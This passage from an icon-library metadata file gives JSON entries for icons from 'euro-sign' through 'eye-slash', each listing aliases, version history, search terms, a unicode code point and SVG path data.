        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M384 348c-1.75 10.75-13.75 110-15.5 132-117.879-4.299-219.895-4.743-368.5 0v-25.5c45.457-8.948 60.627-8.019 61-35.25 1.793-72.322 3.524-244.143 0-322-1.029-28.46-12.13-26.765-61-36v-25.5c73.886 2.358 255.933 8.551 362.999-3.75-3.5 38.25-7.75 126.5-7.75 126.5H332C320.947 115.665 313.241 68 277.25 68h-137c-10.25 0-10.75 3.5-10.75 9.75V241.5c58 .5 88.5-2.5 88.5-2.5 29.77-.951 27.56-8.502 40.75-65.251h25.75c-4.407 101.351-3.91 61.829-1.75 160.25H257c-9.155-40.086-9.065-61.045-39.501-61.5 0 0-21.5-2-88-2v139c0 26 14.25 38.25 44.25 38.25H263c63.636 0 66.564-24.996 98.751-99.75H384z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M384 348c-1.75 10.75-13.75 110-15.5 132-117.879-4.299-219.895-4.743-368.5 0v-25.5c45.457-8.948 60.627-8.019 61-35.25 1.793-72.322 3.524-244.143 0-322-1.029-28.46-12.13-26.765-61-36v-25.5c73.886 2.358 255.933 8.551 362.999-3.75-3.5 38.25-7.75 126.5-7.75 126.5H332C320.947 115.665 313.241 68 277.25 68h-137c-10.25 0-10.75 3.5-10.75 9.75V241.5c58 .5 88.5-2.5 88.5-2.5 29.77-.951 27.56-8.502 40.75-65.251h25.75c-4.407 101.351-3.91 61.829-1.75 160.25H257c-9.155-40.086-9.065-61.045-39.501-61.5 0 0-21.5-2-88-2v139c0 26 14.25 38.25 44.25 38.25H263c63.636 0 66.564-24.996 98.751-99.75H384z"
      }
    },
    "free": ["brands"]
  },
  "euro-sign": {
    "aliases": {
      "names": ["eur", "euro"],
      "unicodes": {
        "composite": ["20ac"],
        "secondary": ["10f153"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Euro Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "f153",
    "label": "Euro Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M48.1 240c-.1 2.7-.1 5.3-.1 8v16c0 2.7 0 5.3 .1 8H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H60.3C89.9 419.9 170 480 264 480h24c17.7 0 32-14.3 32-32s-14.3-32-32-32H264c-57.9 0-108.2-32.4-133.9-80H256c17.7 0 32-14.3 32-32s-14.3-32-32-32H112.2c-.1-2.6-.2-5.3-.2-8V248c0-2.7 .1-5.4 .2-8H256c17.7 0 32-14.3 32-32s-14.3-32-32-32H130.1c25.7-47.6 76-80 133.9-80h24c17.7 0 32-14.3 32-32s-14.3-32-32-32H264C170 32 89.9 92.1 60.3 176H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H48.1z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M48.1 240c-.1 2.7-.1 5.3-.1 8v16c0 2.7 0 5.3 .1 8H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H60.3C89.9 419.9 170 480 264 480h24c17.7 0 32-14.3 32-32s-14.3-32-32-32H264c-57.9 0-108.2-32.4-133.9-80H256c17.7 0 32-14.3 32-32s-14.3-32-32-32H112.2c-.1-2.6-.2-5.3-.2-8V248c0-2.7 .1-5.4 .2-8H256c17.7 0 32-14.3 32-32s-14.3-32-32-32H130.1c25.7-47.6 76-80 133.9-80h24c17.7 0 32-14.3 32-32s-14.3-32-32-32H264C170 32 89.9 92.1 60.3 176H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H48.1z"
      }
    },
    "free": ["solid"]
  },
  "evernote": {
    "changes": ["5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f839",
    "label": "Evernote",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M120.82 132.21c1.6 22.31-17.55 21.59-21.61 21.59-68.93 0-73.64-1-83.58 3.34-.56.22-.74 0-.37-.37L123.79 46.45c.38-.37.6-.22.38.37-4.35 9.99-3.35 15.09-3.35 85.39zm79 308c-14.68-37.08 13-76.93 52.52-76.62 17.49 0 22.6 23.21 7.95 31.42-6.19 3.3-24.95 1.74-25.14 19.2-.05 17.09 19.67 25 31.2 24.89A45.64 45.64 0 0 0 312 393.45v-.08c0-11.63-7.79-47.22-47.54-55.34-7.72-1.54-65-6.35-68.35-50.52-3.74 16.93-17.4 63.49-43.11 69.09-8.74 1.94-69.68 7.64-112.92-36.77 0 0-18.57-15.23-28.23-57.95-3.38-15.75-9.28-39.7-11.14-62 0-18 11.14-30.45 25.07-32.2 81 0 90 2.32 101-7.8 9.82-9.24 7.8-15.5 7.8-102.78 1-8.3 7.79-30.81 53.41-24.14 6 .86 31.91 4.18 37.48 30.64l64.26 11.15c20.43 3.71 70.94 7 80.6 57.94 22.66 121.09 8.91 238.46 7.8 238.46C362.15 485.53 267.06 480 267.06 480c-18.95-.23-54.25-9.4-67.27-39.83zm80.94-204.84c-1 1.92-2.2 6 .85 7 14.09 4.93 39.75 6.84 45.88 5.53 3.11-.25 3.05-4.43 2.48-6.65-3.53-21.85-40.83-26.5-49.24-5.92z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M120.82 132.21c1.6 22.31-17.55 21.59-21.61 21.59-68.93 0-73.64-1-83.58 3.34-.56.22-.74 0-.37-.37L123.79 46.45c.38-.37.6-.22.38.37-4.35 9.99-3.35 15.09-3.35 85.39zm79 308c-14.68-37.08 13-76.93 52.52-76.62 17.49 0 22.6 23.21 7.95 31.42-6.19 3.3-24.95 1.74-25.14 19.2-.05 17.09 19.67 25 31.2 24.89A45.64 45.64 0 0 0 312 393.45v-.08c0-11.63-7.79-47.22-47.54-55.34-7.72-1.54-65-6.35-68.35-50.52-3.74 16.93-17.4 63.49-43.11 69.09-8.74 1.94-69.68 7.64-112.92-36.77 0 0-18.57-15.23-28.23-57.95-3.38-15.75-9.28-39.7-11.14-62 0-18 11.14-30.45 25.07-32.2 81 0 90 2.32 101-7.8 9.82-9.24 7.8-15.5 7.8-102.78 1-8.3 7.79-30.81 53.41-24.14 6 .86 31.91 4.18 37.48 30.64l64.26 11.15c20.43 3.71 70.94 7 80.6 57.94 22.66 121.09 8.91 238.46 7.8 238.46C362.15 485.53 267.06 480 267.06 480c-18.95-.23-54.25-9.4-67.27-39.83zm80.94-204.84c-1 1.92-2.2 6 .85 7 14.09 4.93 39.75 6.84 45.88 5.53 3.11-.25 3.05-4.43 2.48-6.65-3.53-21.85-40.83-26.5-49.24-5.92z"
      }
    },
    "free": ["brands"]
  },
  "exclamation": {
    "aliases": {
      "unicodes": {
        "composite": ["2755", "2757", "f12a"],
        "primary": ["f12a"],
        "secondary": ["1021", "10f12a"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "!",
        "Exclamation Mark",
        "alert",
        "danger",
        "error",
        "exclamation",
        "important",
        "mark",
        "notice",
        "notification",
        "notify",
        "outlined",
        "problem",
        "punctuation",
        "red exclamation mark",
        "warning",
        "white exclamation mark"
      ]
    },
    "styles": ["solid"],
    "unicode": "21",
    "label": "Exclamation",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767244,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 64 512\"><path d=\"M64 64c0-17.7-14.3-32-32-32S0 46.3 0 64V320c0 17.7 14.3 32 32 32s32-14.3 32-32V64zM32 480a40 40 0 1 0 0-80 40 40 0 1 0 0 80z\"/></svg>",
        "viewBox": [0, 0, 64, 512],
        "width": 64,
        "height": 512,
        "path": "M64 64c0-17.7-14.3-32-32-32S0 46.3 0 64V320c0 17.7 14.3 32 32 32s32-14.3 32-32V64zM32 480a40 40 0 1 0 0-80 40 40 0 1 0 0 80z"
      }
    },
    "free": ["solid"]
  },
  "expand": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f065"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bigger",
        "crop",
        "enlarge",
        "focus",
        "fullscreen",
        "resize",
        "viewfinder"
      ]
    },
    "styles": ["solid"],
    "unicode": "f065",
    "label": "Expand",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M32 32C14.3 32 0 46.3 0 64v96c0 17.7 14.3 32 32 32s32-14.3 32-32V96h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H32zM64 352c0-17.7-14.3-32-32-32s-32 14.3-32 32v96c0 17.7 14.3 32 32 32h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H64V352zM320 32c-17.7 0-32 14.3-32 32s14.3 32 32 32h64v64c0 17.7 14.3 32 32 32s32-14.3 32-32V64c0-17.7-14.3-32-32-32H320zM448 352c0-17.7-14.3-32-32-32s-32 14.3-32 32v64H320c-17.7 0-32 14.3-32 32s14.3 32 32 32h96c17.7 0 32-14.3 32-32V352z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M32 32C14.3 32 0 46.3 0 64v96c0 17.7 14.3 32 32 32s32-14.3 32-32V96h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H32zM64 352c0-17.7-14.3-32-32-32s-32 14.3-32 32v96c0 17.7 14.3 32 32 32h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H64V352zM320 32c-17.7 0-32 14.3-32 32s14.3 32 32 32h64v64c0 17.7 14.3 32 32 32s32-14.3 32-32V64c0-17.7-14.3-32-32-32H320zM448 352c0-17.7-14.3-32-32-32s-32 14.3-32 32v64H320c-17.7 0-32 14.3-32 32s14.3 32 32 32h96c17.7 0 32-14.3 32-32V352z"
      }
    },
    "free": ["solid"]
  },
  "expeditedssl": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f23e",
    "label": "ExpeditedSSL",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014477,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 43.4C130.6 43.4 35.4 138.6 35.4 256S130.6 468.6 248 468.6 460.6 373.4 460.6 256 365.4 43.4 248 43.4zm-97.4 132.9c0-53.7 43.7-97.4 97.4-97.4s97.4 43.7 97.4 97.4v26.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-26.6c0-82.1-124-82.1-124 0v26.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-26.6zM389.7 380c0 9.7-8 17.7-17.7 17.7H124c-9.7 0-17.7-8-17.7-17.7V238.3c0-9.7 8-17.7 17.7-17.7h248c9.7 0 17.7 8 17.7 17.7V380zm-248-137.3v132.9c0 2.5-1.9 4.4-4.4 4.4h-8.9c-2.5 0-4.4-1.9-4.4-4.4V242.7c0-2.5 1.9-4.4 4.4-4.4h8.9c2.5 0 4.4 1.9 4.4 4.4zm141.7 48.7c0 13-7.2 24.4-17.7 30.4v31.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-31.6c-10.5-6.1-17.7-17.4-17.7-30.4 0-19.7 15.8-35.4 35.4-35.4s35.5 15.8 35.5 35.4zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 478.3C121 486.3 17.7 383 17.7 256S121 25.7 248 25.7 478.3 129 478.3 256 375 486.3 248 486.3z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M248 43.4C130.6 43.4 35.4 138.6 35.4 256S130.6 468.6 248 468.6 460.6 373.4 460.6 256 365.4 43.4 248 43.4zm-97.4 132.9c0-53.7 43.7-97.4 97.4-97.4s97.4 43.7 97.4 97.4v26.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-26.6c0-82.1-124-82.1-124 0v26.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-26.6zM389.7 380c0 9.7-8 17.7-17.7 17.7H124c-9.7 0-17.7-8-17.7-17.7V238.3c0-9.7 8-17.7 17.7-17.7h248c9.7 0 17.7 8 17.7 17.7V380zm-248-137.3v132.9c0 2.5-1.9 4.4-4.4 4.4h-8.9c-2.5 0-4.4-1.9-4.4-4.4V242.7c0-2.5 1.9-4.4 4.4-4.4h8.9c2.5 0 4.4 1.9 4.4 4.4zm141.7 48.7c0 13-7.2 24.4-17.7 30.4v31.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-31.6c-10.5-6.1-17.7-17.4-17.7-30.4 0-19.7 15.8-35.4 35.4-35.4s35.5 15.8 35.5 35.4zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 478.3C121 486.3 17.7 383 17.7 256S121 25.7 248 25.7 478.3 129 478.3 256 375 486.3 248 486.3z"
      }
    },
    "free": ["brands"]
  },
  "explosion": {
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["blast", "blowup", "boom", "crash", "detonation", "explosion"]
    },
    "styles": ["solid"],
    "unicode": "e4e9",
    "label": "Explosion",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767444,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M499.6 11.3c6.7-10.7 20.5-14.5 31.7-8.5s15.8 19.5 10.6 31L404.8 338.6c2.2 2.3 4.3 4.7 6.3 7.1l97.2-54.7c10.5-5.9 23.6-3.1 30.9 6.4s6.3 23-2.2 31.5l-87 87H378.5c-13.2-37.3-48.7-64-90.5-64s-77.4 26.7-90.5 64H117.8L42.3 363.7c-9.7-6.7-13.1-19.6-7.9-30.3s17.4-15.9 28.7-12.4l97.2 30.4c3-3.9 6.1-7.7 9.4-11.3L107.4 236.3c-6.1-10.1-3.9-23.1 5.1-30.7s22.2-7.5 31.1 .1L246 293.6c1.5-.4 3-.8 4.5-1.1l13.6-142.7c1.2-12.3 11.5-21.7 23.9-21.7s22.7 9.4 23.9 21.7l13.5 141.9L499.6 11.3zM64 448v0H512v0h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H64zM288 0c13.3 0 24 10.7 24 24V72c0 13.3-10.7 24-24 24s-24-10.7-24-24V24c0-13.3 10.7-24 24-24z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M499.6 11.3c6.7-10.7 20.5-14.5 31.7-8.5s15.8 19.5 10.6 31L404.8 338.6c2.2 2.3 4.3 4.7 6.3 7.1l97.2-54.7c10.5-5.9 23.6-3.1 30.9 6.4s6.3 23-2.2 31.5l-87 87H378.5c-13.2-37.3-48.7-64-90.5-64s-77.4 26.7-90.5 64H117.8L42.3 363.7c-9.7-6.7-13.1-19.6-7.9-30.3s17.4-15.9 28.7-12.4l97.2 30.4c3-3.9 6.1-7.7 9.4-11.3L107.4 236.3c-6.1-10.1-3.9-23.1 5.1-30.7s22.2-7.5 31.1 .1L246 293.6c1.5-.4 3-.8 4.5-1.1l13.6-142.7c1.2-12.3 11.5-21.7 23.9-21.7s22.7 9.4 23.9 21.7l13.5 141.9L499.6 11.3zM64 448v0H512v0h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H64zM288 0c13.3 0 24 10.7 24 24V72c0 13.3-10.7 24-24 24s-24-10.7-24-24V24c0-13.3 10.7-24 24-24z"
      }
    },
    "free": ["solid"]
  },
  "eye": {
    "aliases": {
      "unicodes": {
        "composite": ["1f441"],
        "secondary": ["10f06e"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.7.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "body",
        "eye",
        "look",
        "optic",
        "see",
        "seen",
        "show",
        "sight",
        "views",
        "visible"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f06e",
    "label": "Eye",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 32c-80.8 0-145.5 36.8-192.6 80.6C48.6 156 17.3 208 2.5 243.7c-3.3 7.9-3.3 16.7 0 24.6C17.3 304 48.6 356 95.4 399.4C142.5 443.2 207.2 480 288 480s145.5-36.8 192.6-80.6c46.8-43.5 78.1-95.4 93-131.1c3.3-7.9 3.3-16.7 0-24.6c-14.9-35.7-46.2-87.7-93-131.1C433.5 68.8 368.8 32 288 32zM144 256a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm144-64c0 35.3-28.7 64-64 64c-7.1 0-13.9-1.2-20.3-3.3c-5.5-1.8-11.9 1.6-11.7 7.4c.3 6.9 1.3 13.8 3.2 20.7c13.7 51.2 66.4 81.6 117.6 67.9s81.6-66.4 67.9-117.6c-11.1-41.5-47.8-69.4-88.6-71.1c-5.8-.2-9.2 6.1-7.4 11.7c2.1 6.4 3.3 13.2 3.3 20.3z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M288 32c-80.8 0-145.5 36.8-192.6 80.6C48.6 156 17.3 208 2.5 243.7c-3.3 7.9-3.3 16.7 0 24.6C17.3 304 48.6 356 95.4 399.4C142.5 443.2 207.2 480 288 480s145.5-36.8 192.6-80.6c46.8-43.5 78.1-95.4 93-131.1c3.3-7.9 3.3-16.7 0-24.6c-14.9-35.7-46.2-87.7-93-131.1C433.5 68.8 368.8 32 288 32zM144 256a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm144-64c0 35.3-28.7 64-64 64c-7.1 0-13.9-1.2-20.3-3.3c-5.5-1.8-11.9 1.6-11.7 7.4c.3 6.9 1.3 13.8 3.2 20.7c13.7 51.2 66.4 81.6 117.6 67.9s81.6-66.4 67.9-117.6c-11.1-41.5-47.8-69.4-88.6-71.1c-5.8-.2-9.2 6.1-7.4 11.7c2.1 6.4 3.3 13.2 3.3 20.3z"
      },
      "regular": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 80c-65.2 0-118.8 29.6-159.9 67.7C89.6 183.5 63 226 49.4 256c13.6 30 40.2 72.5 78.6 108.3C169.2 402.4 222.8 432 288 432s118.8-29.6 159.9-67.7C486.4 328.5 513 286 526.6 256c-13.6-30-40.2-72.5-78.6-108.3C406.8 109.6 353.2 80 288 80zM95.4 112.6C142.5 68.8 207.2 32 288 32s145.5 36.8 192.6 80.6c46.8 43.5 78.1 95.4 93 131.1c3.3 7.9 3.3 16.7 0 24.6c-14.9 35.7-46.2 87.7-93 131.1C433.5 443.2 368.8 480 288 480s-145.5-36.8-192.6-80.6C48.6 356 17.3 304 2.5 268.3c-3.3-7.9-3.3-16.7 0-24.6C17.3 208 48.6 156 95.4 112.6zM288 336c44.2 0 80-35.8 80-80s-35.8-80-80-80c-.7 0-1.3 0-2 0c1.3 5.1 2 10.5 2 16c0 35.3-28.7 64-64 64c-5.5 0-10.9-.7-16-2c0 .7 0 1.3 0 2c0 44.2 35.8 80 80 80zm0-208a128 128 0 1 1 0 256 128 128 0 1 1 0-256z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M288 80c-65.2 0-118.8 29.6-159.9 67.7C89.6 183.5 63 226 49.4 256c13.6 30 40.2 72.5 78.6 108.3C169.2 402.4 222.8 432 288 432s118.8-29.6 159.9-67.7C486.4 328.5 513 286 526.6 256c-13.6-30-40.2-72.5-78.6-108.3C406.8 109.6 353.2 80 288 80zM95.4 112.6C142.5 68.8 207.2 32 288 32s145.5 36.8 192.6 80.6c46.8 43.5 78.1 95.4 93 131.1c3.3 7.9 3.3 16.7 0 24.6c-14.9 35.7-46.2 87.7-93 131.1C433.5 443.2 368.8 480 288 480s-145.5-36.8-192.6-80.6C48.6 356 17.3 304 2.5 268.3c-3.3-7.9-3.3-16.7 0-24.6C17.3 208 48.6 156 95.4 112.6zM288 336c44.2 0 80-35.8 80-80s-35.8-80-80-80c-.7 0-1.3 0-2 0c1.3 5.1 2 10.5 2 16c0 35.3-28.7 64-64 64c-5.5 0-10.9-.7-16-2c0 .7 0 1.3 0 2c0 44.2 35.8 80 80 80zm0-208a128 128 0 1 1 0 256 128 128 0 1 1 0-256z"
      }
    },
    "free": ["regular", "solid"]
  },
  "eye-dropper": {
    "aliases": {
      "names": ["eye-dropper-empty", "eyedropper"],
      "unicodes": {
        "secondary": ["10f1fb"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["beaker", "clone", "color", "copy", "eyedropper", "pipette"]
    },
    "styles": ["solid"],
    "unicode": "f1fb",
    "label": "Eye Dropper",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M341.6 29.2L240.1 130.8l-9.4-9.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l160 160c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-9.4-9.4L482.8 170.4c39-39 39-102.2 0-141.1s-102.2-39-141.1 0zM55.4 323.3c-15 15-23.4 35.4-23.4 56.6v42.4L5.4 462.2c-8.5 12.7-6.8 29.6 4 40.4s27.7 12.5 40.4 4L89.7 480h42.4c21.2 0 41.6-8.4 56.6-23.4L309.4 335.9l-45.3-45.3L143.4 411.3c-3 3-7.1 4.7-11.3 4.7H96V379.9c0-4.2 1.7-8.3 4.7-11.3L221.4 247.9l-45.3-45.3L55.4 323.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M341.6 29.2L240.1 130.8l-9.4-9.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l160 160c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-9.4-9.4L482.8 170.4c39-39 39-102.2 0-141.1s-102.2-39-141.1 0zM55.4 323.3c-15 15-23.4 35.4-23.4 56.6v42.4L5.4 462.2c-8.5 12.7-6.8 29.6 4 40.4s27.7 12.5 40.4 4L89.7 480h42.4c21.2 0 41.6-8.4 56.6-23.4L309.4 335.9l-45.3-45.3L143.4 411.3c-3 3-7.1 4.7-11.3 4.7H96V379.9c0-4.2 1.7-8.3 4.7-11.3L221.4 247.9l-45.3-45.3L55.4 323.3z"
      }
    },
    "free": ["solid"]
  },
  "eye-low-vision": {
    "aliases": {
      "names": ["low-vision"],
      "unicodes": {
        "secondary": ["10f2a8"]
      }
    },
    "changes": [
      "4.6.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["blind", "eye", "sight"]
    },
    "styles": ["solid"],
    "unicode": "f2a8",
    "label": "Eye Low Vision",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L525.6 386.7c39.6-40.6 66.4-86.1 79.9-118.4c3.3-7.9 3.3-16.7 0-24.6c-14.9-35.7-46.2-87.7-93-131.1C465.5 68.8 400.8 32 320 32c-68.2 0-125 26.3-169.3 60.8L38.8 5.1zM223 149.5c48.6-44.3 123-50.8 179.3-11.7c60.8 42.4 78.9 123.2 44.2 186.9L408 294.5c8.4-19.3 10.6-41.4 4.8-63.3c-11.1-41.5-47.8-69.4-88.6-71.1c-5.8-.2-9.2 6.1-7.4 11.7c2.1 6.4 3.3 13.2 3.3 20.3c0 10.2-2.4 19.8-6.6 28.3L223 149.5zm223.1 298L83.1 161.5c-11 14.4-20.5 28.7-28.4 42.2l339 265.7c18.7-5.5 36.2-13 52.6-21.8zM34.5 268.3c14.9 35.7 46.2 87.7 93 131.1C174.5 443.2 239.2 480 320 480c3.1 0 6.1-.1 9.2-.2L33.1 247.8c-1.8 6.8-1.3 14 1.4 20.5z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L525.6 386.7c39.6-40.6 66.4-86.1 79.9-118.4c3.3-7.9 3.3-16.7 0-24.6c-14.9-35.7-46.2-87.7-93-131.1C465.5 68.8 400.8 32 320 32c-68.2 0-125 26.3-169.3 60.8L38.8 5.1zM223 149.5c48.6-44.3 123-50.8 179.3-11.7c60.8 42.4 78.9 123.2 44.2 186.9L408 294.5c8.4-19.3 10.6-41.4 4.8-63.3c-11.1-41.5-47.8-69.4-88.6-71.1c-5.8-.2-9.2 6.1-7.4 11.7c2.1 6.4 3.3 13.2 3.3 20.3c0 10.2-2.4 19.8-6.6 28.3L223 149.5zm223.1 298L83.1 161.5c-11 14.4-20.5 28.7-28.4 42.2l339 265.7c18.7-5.5 36.2-13 52.6-21.8zM34.5 268.3c14.9 35.7 46.2 87.7 93 131.1C174.5 443.2 239.2 480 320 480c3.1 0 6.1-.1 9.2-.2L33.1 247.8c-1.8 6.8-1.3 14 1.4 20.5z"
      }
    },
    "free": ["solid"]
  },
  "eye-slash": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f070"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.7.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "blind",
        "hide",
        "show",
        "toggle",
        "unseen",
        "views",
        "visible",
        "visiblity"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f070",
    "label": "Eye Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L525.6 386.7c39.6-40.6 66.4-86.1 79.9-118.4c3.3-7.9 3.3-16.7 0-24.6c-14.9-35.7-46.2-87.7-93-131.1C465.5 68.8 400.8 32 320 32c-68.2 0-125 26.3-169.3 60.8L38.8 5.1zM223.1 149.5C248.6 126.2 282.7 112 320 112c79.5 0 144 64.5 144 144c0 24.9-6.3 48.3-17.4 68.7L408 294.5c8.4-19.3 10.6-41.4 4.8-63.3c-11.1-41.5-47.8-69.4-88.6-71.1c-5.8-.2-9.2 6.1-7.4 11.7c2.1 6.4 3.3 13.2 3.3 20.3c0 10.2-2.4 19.8-6.6 28.3l-90.3-70.8zM373 389.9c-16.4 6.5-34.3 10.1-53 10.1c-79.5 0-144-64.5-144-144c0-6.9 .5-13.6 1.4-20.2L83.1 161.5C60.3 191.2 44 220.8 34.5 243.7c-3.3 7.9-3.3 16.7 0 24.6c14.9 35.7 46.2 87.7 93 131.1C174.5 443.2 239.2 480 320 480c47.8 0 89.9-12.9 126.2-32.5L373 389.9z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
